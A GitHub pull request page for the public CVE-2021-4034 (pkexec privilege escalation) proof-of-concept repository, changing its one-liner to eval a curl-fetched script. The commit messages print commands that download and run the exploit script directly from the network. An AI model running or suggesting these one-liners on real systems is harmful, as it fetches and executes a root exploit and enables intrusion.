Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

One-liner: Use eval for the commands #20

Merged
merged 3 commits into from
Jan 30, 2022
Merged

One-liner: Use eval for the commands #20

merged 3 commits into from
Jan 30, 2022

Conversation

owl4ce
Copy link
Contributor

@owl4ce owl4ce commented Jan 29, 2022

This will execute shell-scripts that are `curl`ed using current shell.

Fixes the pipe (stdin) problems when executing the ELF, alternatively
using `bash` or `zsh` you can use process substitution.

This will execute shell-scripts that are `curl`ed using current shell.

Fixes the pipe (stdin) problems, alternatively using `bash` or `zsh`
you can use process substitution. For example:

$ bash <(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)

Signed-off-by: Harry Kurn <alternate-se7en@pm.me>
This fixes "exiting interactive shells" when the one-liner uses `eval`
the shell-script to the current shell. Without this commit, it is
actually possible to use eval in the shell as a command. For example:

$ sh -c 'eval "$(curl -s URL)"'

Signed-off-by: Harry Kurn <alternate-se7en@pm.me>
@owl4ce
Copy link
Contributor Author

owl4ce commented Jan 29, 2022

It's actually better to shortlink, but git.io doesn't accept new links to shorten anymore.

@berdav berdav merged commit b4e5c25 into berdav:main Jan 30, 2022
@berdav
Copy link
Owner

berdav commented Jan 30, 2022

This it is cleaner than the cat trick. Thank you very much.

Merged.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants